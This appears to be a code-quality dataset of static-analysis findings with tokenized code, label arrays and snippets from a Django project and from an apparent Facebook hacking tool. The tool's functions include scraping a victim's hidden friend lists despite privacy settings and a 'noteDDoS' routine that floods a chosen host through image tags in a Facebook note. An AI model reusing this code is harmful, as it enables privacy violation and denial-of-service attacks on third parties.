"\\u", "required_", "=_", "required_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "CD", "ATI", "tem_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "write", "\\u", "ports_", "(_", "self_", ",_", "port", "\\u", "type_", ",_", "module", "\\u", "name_", ",_", "lines_", ",_", "optional_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "force_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "self_", "._", "\\u", "instance_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "type_", "=_", "convert", "\\u", "to", "\\u", "vt", "\\u", "type_", "(_", "self_", "._", "\\u", "instance_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "type_", "==_", "None_", "and_", "self_", "._", "\\u", "instance_", "[_", "0_", "]_", "in_", "CD", "ATM", "odule_", "._", "\\u", "extra", "\\u", "modules_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "force_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "force_", "and_", "type_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "type_", "=_", "\"", "get", "\\u", "late", "\\u", "type", "('", "%", "s", "')\"_", "%_", "self_", "._", "\\u", "instance_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "type_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "valid", "\\u", "instances_", "._", "append_", "(_", "self_", "._", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "._", "append_", "(_", "\"", " ", " ", " ", " ", "reg", ".", "add", "\\u", "%", "s", "\\u", "port", "(%", "s", ",", " ", "'%", "s", "',", " ", "\\\\", "n", "\"_", "%_", "(_", "port", "\\u", "type_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "module", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "._", "append_", "(_", "\"", " ", " ", " ", " ", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "._", "append_", "(_", "\"(", "%", "s", ",\\\\", "n", "\"_", "%_", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "._", "append_", "(_", "\"", " ", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "optional_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "lines_", "._", "append_", "(_", "\"\\\\\"", "%", "s", "\\\\\")", ")\\\\", "n", "\"_", "%_", "self_", "._", "\\u", "doc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "lines_", "._", "append_", "(_", "\"\\\\\"", "%", "s", "\\\\\")", ",", " ", "Tru", "e", ")\\\\", "n", "\"_", "%_", "self_", "._", "\\u", "doc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "self_", "._", "\\u", "instance_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "type_", "=_", "convert", "\\u", "to", "\\u", "vt", "\\u", "type_", "(_", "self_", "._", "\\u", "instance_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "force_", "=_", "force_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "type_", "==_", "None_", "and_", "self_", "._", "\\u", "instance_", "[_", "i_", "]_", "in_", "CD", "ATM", "odule_", "._", "\\u", "extra", "\\u", "modules_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "new", "\\u", "force_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "new", "\\u", "force_", "and_", "type_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "type_", "=_", "\"", "get", "\\u", "late", "\\u", "type", "('", "%", "s", "')\"_", "%_", "self_", "._", "\\u", "instance_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "type_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "name_", "=_", "\"%", "s", "\\u", "%", "s", "\"_", "%_", "(_", "self_", "._", "\\u", "name_", ",_", "count_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "valid", "\\u", "instances_", "._", "append_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "._", "append_", "(_", "\"", " ", " ", " ", " ", "reg", ".", "add", "\\u", "input", "\\u", "port", "(%", "s", ",", " ", "'%", "s", "',", " ", "\\\\", "n", "\"_", "%_", "(_", "module", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "._", "append_", "(_", "\"", " ", " ", " ", " ", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "._", "append_", "(_", "\"(", "%", "s", ",\\\\", "n", "\"_", "%_", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "._", "append_", "(_", "\"", " ", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "optional_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "lines_", "._", "append_", "(_", "\"\\\\\"", "%", "s", "\\\\\")", ")\\\\", "n", "\"_", "%_", "self_", "._", "\\u", "doc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "lines_", "._", "append_", "(_", "\"\\\\\"", "%", "s", "\\\\\")", ",", " ", "Tru", "e", ")\\\\", "n", "\"_", "%_", "self_", "._", "\\u", "doc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
django-bmf/django-bmf/djangobmf/core/site.py
[ { "content": " def get_urls(self):\n\n from djangobmf.urls import urlpatterns\n\n try:\n ct = ContentType.objects.get_for_model(Configuration)\n self.activate()\n except RuntimeError:\n # During the migrate command, contenttypes are not ready\n # and raise a Runtime error. We ignore that error and return an empty\n # pattern - the urls are not needed during migrations.\n return patterns('')\n\n for module, data in self.modules.items():\n info = (module._meta.app_label, module._meta.model_name)\n ct = ContentType.objects.get_for_model(module)\n\n # set the apis\n urlpatterns += patterns(\n '',\n url(\n r'^api/module/%s/' % ct.pk,\n include((data.get_api_urls(), self.app_name, \"moduleapi_%s_%s\" % info))\n ),\n )\n\n # Skip detail view if the model is marked as a only related model\n if not module._bmfmeta.only_related:\n urlpatterns += patterns(\n '',\n url(\n r'^detail/%s/%s/(?P<pk>[0-9]+)/' % (info[1], info[0]),\n include((data.get_detail_urls(), self.app_name, \"detail_%s_%s\" % info))\n ),\n )\n return urlpatterns", "metadata": "root.Site.get_urls", "header": "['class', 'Site', '(', 'object', ')', ':', '___EOS___']", "index": 178 } ]
[ { "span": "ct ", "start_line": 183, "start_column": 12, "end_line": 183, "end_column": 14 } ]
[ { "span": "ct ", "start_line": 193, "start_column": 12, "end_line": 193, "end_column": 14 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Site_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "urls_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "django", "bm", "f_", "._", "urls_", "import_", "urlpatterns_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ct_", "=_", "Conten", "t", "Type_", "._", "objects_", "._", "get", "\\u", "for", "\\u", "model_", "(_", "Configuration_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "activate_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Run", "time", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Dur", "ing", " ", "the", " ", "migr", "ate", " ", "command", ",", " ", "contenttype", "s", " ", "are", " ", "not", " ", "ready_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "raise", " ", "a", " ", "Run", "time", " ", "error", ".", " ", "We", " ", "ignore", " ", "tha", "t", " ", "error", " ", "and", " ", "return", " ", "an", " ", "empty_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pattern", " ", "-", " ", "the", " ", "urls", " ", "are", " ", "not", " ", "need", "ed", " ", "dur", "ing", " ", "migrati", "ons", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "patterns_", "(_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "module_", ",_", "data_", "in_", "self_", "._", "modules_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "info_", "=_", "(_", "module_", "._", "\\u", "meta_", "._", "app", "\\u", "label_", ",_", "module_", "._", "\\u", "meta_", "._", "model", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ct_", "=_", "Conten", "t", "Type_", "._", "objects_", "._", "get", "\\u", "for", "\\u", "model_", "(_", "module_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "set", " ", "the", " ", "apis_", "\\u\\u\\uNL\\u\\u\\u_", "urlpatterns_", "+=_", "patterns_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "r", "'", "^", "api", "/", "module", "/", "%", "s", "/'_", "%_", "ct_", "._", "pk_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "include_", "(_", "(_", "data_", "._", "get", "\\u", "api", "\\u", "urls_", "(_", ")_", ",_", "self_", "._", "app", "\\u", "name_", ",_", "\"", "module", "api", "\\u", "%", "s", "\\u", "%", "s", "\"_", "%_", "info_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ski", "p", " ", "deta", "il", " ", "view", " ", "if", " ", "the", " ", "model", " ", "is", " ", "marked", " ", "as", " ", "a", " ", "only", " ", "relate", "d", " ", "model_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "module_", "._", "\\u", "bm", "fm", "eta_", "._", "only", "\\u", "related_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "urlpatterns_", "+=_", "patterns_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "r", "'", "^", "deta", "il", "/", "%", "s", "/", "%", "s", "/(", "?", "P", "<", "pk", ">[", "0", "-", "9", "]+)", "/'_", "%_", "(_", "info_", "[_", "1_", "]_", ",_", "info_", "[_", "0_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "include_", "(_", "(_", "data_", "._", "get", "\\u", "deta", "il", "\\u", "urls_", "(_", ")_", ",_", "self_", "._", "app", "\\u", "name_", ",_", "\"", "deta", "il", "\\u", "%", "s", "\\u", "%", "s", "\"_", "%_", "info_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
chinoogawa/fbht/mainFunc.py
[ { "content": "def set_dtsg():\n n = 0\n flag = False\n try:\n response = br.open('https://www.facebook.com/')\n ''' Old dtsg set module.. \n for form in br.forms():\n for control in form.controls: \n if control.name == 'fb_dtsg':\n flag = True\n break\n n += 1\n if flag: break\n br.select_form(nr=n-1) '''\n \n if globalLogging:\n logs(response.read())\n\n \n \n except mechanize.HTTPError as e:\n logs(e.code)\n print e.code\n except mechanize.URLError as e:\n logs(e.reason.args)\n print e.reason.args \n except:\n logs('Error in the dtsg set module')\n print '\\rTrying to set dtsg \\r'\n \n return workarounddtsg()", "metadata": "root.set_dtsg", "header": "['module', '___EOS___']", "index": 97 }, { "content": "def bypassFriendshipPrivacyPlot(victim, transitive):\n \n coleccion = {}\n nodeID = 0\n \n root = 'dumps'\n directory = str(victim)\n \n mkdir(directory,root)\n \n myGraph = nx.Graph()\n \n coleccion[victim] = nodeID\n \n victima = nodeID\n myGraph.add_node(victima)\n nodeID += 1\n \n \n #Percentage container\n percentage = 0.0\n #Disclosude friends container\n friendships = []\n #Already visited nodes container\n visited = [] \n try:\n #If the file already exists \n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"rb\")\n #Reads every line of the file\n while True:\n linea = friendshipFile.readline()\n if not linea:\n break\n #Store in the visited array for non repetition\n visited.append(linea.strip(\"\\n\\r\"))\n friendshipFile.close()\n A,coleccion = loadObjects(victim)\n if A == []:\n logs(\"Inconsistency, the userid file exists, but has no object associated\")\n print \"Inconsistency, the userid file exists, but has no object associated\"\n return\n else:\n myGraph = nx.from_numpy_matrix(A)\n \n except:\n #If the file does not exists, creates the file\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"wb\")\n friendshipFile.close()\n \n \n try:\n #Generates the first level of the search\n result = coreFriendshipPrivacy(victim,transitive)\n except:\n print 'Check the internet connection please..'\n return\n \n #Stores non repetitive values in the disclosed friends container\n for individuos in result:\n if individuos not in visited:\n if coleccion.has_key(individuos) == False:\n nodo = nodeID\n nodeID += 1\n coleccion[individuos] = nodo\n else:\n nodo = coleccion[individuos]\n \n if coleccion.has_key(transitive) == False:\n transitivo = nodeID\n nodeID += 1\n coleccion[transitive] = transitivo\n else:\n transitivo = coleccion[transitive]\n \n myGraph.add_node(nodo)\n myGraph.add_edge(nodo,transitivo)\n friendships.append(individuos)\n \n #Counter for percentage calculus purpose \n i = 0.0\n #flush\n print '\\r \\r',\n #For every value in the first disclosed list, repeats until every value has been tryed \n for friends in friendships:\n #Percentage calculus \n percentage = (i * 100.0)/len(friendships)\n flush()\n print '\\rIterating on %d of %d - [%.2f%%] completed\\r' %(i ,len(friendships), percentage), \n i+=1\n #Only if the node wasn't visited \n if friends not in visited:\n #if coreFriendshipPrivacy() fails, an exception is caught. Therefore, state wis still being True. \n #Only if the try passes, the infinite while will end. (For internet error connection problem)\n state = True\n while state == True:\n try:\n result = coreFriendshipPrivacy(victim,friends)\n state = False\n except signalCaught as e:\n state = False\n print 'Signal Caught handler'\n print '%s ' %e.args[0]\n return\n except:\n logs('Check the internet connection please.. Press enter when it\\'s done')\n print '\\r \\r',\n raw_input('\\rCheck the internet connection please.. Press enter when it\\'s done\\r'),\n \n #Stores non repetitive values in the disclosed friends container \n for element in result:\n if element not in friendships:\n if coleccion.has_key(friends) == False:\n nodo = nodeID\n nodeID += 1\n coleccion[friends] = nodo\n else:\n nodo = coleccion[friends]\n \n if coleccion.has_key(element) == False:\n transitivo = nodeID\n nodeID += 1\n coleccion[element] = transitivo\n else:\n transitivo = coleccion[element]\n\n myGraph.add_node(nodo)\n myGraph.add_edge(nodo,transitivo)\n friendships.append(element)\n \n #Stores every single value of friendships list alredy analyzed for non repetitivness\n visited.append(friends)\n \n #Check if the file exists, if true append, else create and writes\n try:\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"ab\")\n except:\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"wb\")\n #Stores every userID for further analyzis\n for friends in friendships:\n if coleccion.has_key(friends) == False:\n transitivo = nodeID\n nodeID += 1\n coleccion[friends] = transitivo\n else:\n transitivo = coleccion[friends]\n\n myGraph.add_edge(victima,transitivo)\n friendshipFile.write(str(friends)+'\\n')\n \n \n friendshipFile.close()\n \n mkdir('objects', os.path.join(root,directory))\n A = nx.adj_matrix(myGraph)\n saveObjects(victim, A, coleccion)\n \n nx.draw_spring(myGraph,node_color = np.linspace(0,1,len(myGraph.nodes())),edge_color = np.linspace(0,1,len(myGraph.edges())) ,with_labels=True)\n plt.savefig( os.path.join(root,directory,victim+\"graph_color.pdf\") )\n plt.savefig( os.path.join(root,directory,victim+\"graph_color.png\") )\n write_dot(myGraph,os.path.join(root,directory,victim+\"graph_color.dot\")) \n plt.show()", "metadata": "root.bypassFriendshipPrivacyPlot", "header": "['module', '___EOS___']", "index": 1531 }, { "content": "def bypassFriendshipPrivacy(victim, transitive):\n #Percentage container\n percentage = 0.0\n #Disclosude friends container\n friendships = []\n #Already visited nodes container\n visited = [] \n try:\n #If the file already exists \n friendshipFile = open( os.path.join(\"dumps\",victim+\".txt\") ,\"rb\")\n #Reads every line of the file\n while True:\n linea = friendshipFile.readline()\n if not linea:\n break\n #Store in the visited array for non repetition\n visited.append(linea.strip(\"\\n\\r\"))\n \n friendshipFile.close()\n \n except:\n #If the file does not exists, creates the file\n friendshipFile = open( os.path.join(\"dumps\",victim+\".txt\") ,\"wb\")\n friendshipFile.close()\n \n \n try:\n #Generates the first level of the search\n result = coreFriendshipPrivacy(victim,transitive)\n except:\n print '\\r \\r',\n raw_input('\\rCheck the internet connection please.. Press enter when it\\'s done\\r'),\n return\n \n #Stores non repetitive values in the disclosed friends container\n for individuos in result:\n if individuos not in visited:\n friendships.append(individuos)\n \n #Counter for percentage calculus purpose \n i = 0.0\n #flush\n print '\\r \\r',\n #For every value in the first disclosed list, repeats until every value has been tryed \n for friends in friendships:\n #Percentage calculus \n percentage = (i * 100.0)/len(friendships)\n flush()\n print '\\rIterating on %d of %d - [%.2f%%] completed\\r' %(i ,len(friendships), percentage), \n i+=1\n #Only if the node wasn't visited \n if friends not in visited:\n #if coreFriendshipPrivacy() fails, an exception is caught. Therefore, state wis still being True. \n #Only if the try passes, the infinite while will end. (For internet error connection problem)\n state = True\n while state == True:\n try:\n result = coreFriendshipPrivacy(victim,friends)\n state = False\n except signalCaught as e:\n state = False\n print 'Signal Caught handler'\n print '%s ' %e.args[0]\n return\n except:\n print '\\r \\r',\n raw_input('\\rCheck the internet connection please..\\r'),\n \n #Stores non repetitive values in the disclosed friends container \n for element in result:\n if element not in friendships:\n friendships.append(element)\n \n #Stores every single value of friendships list alredy analyzed for non repetitivness\n visited.append(friends)\n \n #Check if the file exists, if true append, else create and writes\n try:\n friendshipFile = open( os.path.join(\"dumps\",victim+\".txt\") ,\"ab\")\n except:\n friendshipFile = open( os.path.join(\"dumps\",victim+\".txt\") ,\"wb\")\n\n #Stores every userID for further analyzis\n for friends in friendships:\n friendshipFile.write(str(friends)+'\\n')\n \n friendshipFile.close()", "metadata": "root.bypassFriendshipPrivacy", "header": "['module', '___EOS___']", "index": 1695 }, { "content": "def dotFile(victim, transitive):\n\n root = 'dumps'\n directory = str(victim)\n \n mkdir(directory,root)\n \n myGraph = open( os.path.join(root,directory,victim+\"_dot.dot\") ,\"wb\")\n myGraph.write('Graph {\\n')\n \n #Percentage container\n percentage = 0.0\n #Disclosude friends container\n friendships = []\n #Already visited nodes container\n visited = [] \n try:\n #If the file already exists \n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"rb\")\n #Reads every line of the file\n while True:\n linea = friendshipFile.readline()\n if not linea:\n break\n #Store in the visited array for non repetition\n visited.append(linea.strip(\"\\n\\r\"))\n friendshipFile.close()\n\n except:\n #If the file does not exists, creates the file\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"wb\")\n friendshipFile.close()\n \n \n try:\n #Generates the first level of the search\n result = coreFriendshipPrivacy(victim,transitive)\n except:\n print 'Check the internet connection please..'\n return\n \n #Stores non repetitive values in the disclosed friends container\n transitivo = getName(transitive)\n for individuos in result:\n if individuos not in visited:\n chabon = getName(individuos)\n myGraph.write(' \"'+transitivo + '\" -> \"' + chabon + '\";\\n') \n friendships.append(individuos)\n visited.append(getUserID(transitive))\n #Counter for percentage calculus purpose \n i = 0.0\n #flush\n print '\\r \\r',\n #For every value in the first disclosed list, repeats until every value has been tried \n for friends in friendships:\n #Percentage calculus \n percentage = (i * 100.0)/len(friendships)\n flush()\n print '\\rIterating on %d of %d - [%.2f%%] completed\\r' %(i ,len(friendships), percentage), \n i+=1\n #Only if the node wasn't visited \n if friends not in visited:\n #if coreFriendshipPrivacy() fails, an exception is caught. Therefore, state will still be True. \n #Only if the try passes, the infinite while will end. (For internet error connection problem)\n state = True\n while state == True:\n try:\n result = coreFriendshipPrivacy(victim,friends)\n state = False\n except signalCaught as e:\n state = False\n print 'Signal Caught handler'\n print '%s ' %e.args[0]\n return\n except:\n logs('Check the internet connection please.. Press enter when it\\'s done')\n print '\\r \\r',\n a = raw_input('\\rCheck the internet connection please.. Press enter when it\\'s done\\r')\n if a == 1:\n state = False\n else:\n if a == 2:\n email,password = setMail()\n login(email,password,'real')\n \n #Stores non repetitive values in the disclosed friends container\n friendName = getName(friends) \n for element in result:\n if element not in friendships:\n transitive = getName(element)\n myGraph.write(' \"'+friendName + '\" -> \"' + transitive + '\";\\n')\n friendships.append(element)\n \n #Stores every single value of friendships list already analysed for non repetitiveness\n visited.append(friends)\n \n #Check if the file exists, if true append, else create and writes\n try:\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"ab\")\n except:\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"wb\")\n \n #Stores every userID for further analysis\n for friends in friendships:\n transitivo = getName(friends)\n myGraph.write(' \"'+victim + '\" -> \"' + transitivo + '\";\\n')\n friendshipFile.write(str(friends)+'\\n')\n \n myGraph.write('}')\n friendshipFile.close()\n myGraph.close()", "metadata": "root.dotFile", "header": "['module', '___EOS___']", "index": 2145 }, { "content": "def noteDDoS(imageURL,noteID, privacy):\n \n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n j = int(raw_input('starting parameter number? (img.jpg?file=number) : '))\n amount = int(raw_input('last parameter number? (img.jpg?file=number) : '))\n title = raw_input('Note title: ')\n content = '<p>' + raw_input('Note preview text: ') + '</p>' \n for i in range(j,int(amount)):\n content += '<p><img src=\"'+imageURL+'?file='+str(i)+'\"></img></p>'\n \n arguments = {\n 'fb_dtsg' : fb_dtsg,\n 'object_id' : noteID,\n 'note_id' : noteID,\n 'id' : getC_user(),\n 'title' : title,\n 'note_content' : content,\n 'audience['+noteID+'][value]' : privacy,\n 'publish' : 'Publish',\n '__user' : getC_user(),\n '__a' : '1',\n '__dyn' : '7n8ahyj34fzpQ9UoHaEWy1m9ACwKyaF3pqzCAjFDxCm6qyE',\n '__req' : '7',\n 'ttstamp' : '2658169897154120115496511690',\n '__rev' : '1224624'\n }\n \n datos = urlencode(arguments)\n try:\n response = br.open('https://www.facebook.com/ajax/notes/edit',datos)\n except mechanize.HTTPError as e:\n logs(e.code)\n print e.code\n except mechanize.URLError as e:\n logs(e.reason.args)\n print e.reason.args \n except:\n logs('Error in the DDoS module')\n print '\\rError in the DDoS module\\r'\n raise", "metadata": "root.noteDDoS", "header": "['module', '___EOS___']", "index": 2293 }, { "content": "def devTest(appID):\n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n br.open('https://developers.facebook.com/').read()\n arguments = { \n 'fb_dtsg' : fb_dtsg,\n 'count' : '4',\n 'app_id' : str(appID),\n 'install_app' : '1',\n 'platform_version' : 'v2.0',\n 'enable_ticker' : '1',\n 'language' : 'en_US',\n '__user' : getC_user(), \n '__a' : '1',\n '__dyn' : '7w86i1PyUnxqnFwn8',\n '__req' : '3',\n 'ttstamp' : '2658172110116109767311810511273',\n '__rev' : '1262242'\n }\n \n datos = urlencode(arguments)\n \n response = br.open('https://developers.facebook.com/apps/async/test-users/create/',datos)\n except mechanize.HTTPError as e:\n logs(e.code)\n print e.code\n except mechanize.URLError as e:\n logs(e.reason.args)\n print e.reason.args \n except:\n logs('Error in devTest module')\n print '\\rError in devTest module\\r'\n raise", "metadata": "root.devTest", "header": "['module', '___EOS___']", "index": 2337 }, { "content": "def changePassword(appID): \n people = database.getUsers()\n peopleLogged = database.getUsersNotLogged()\n for 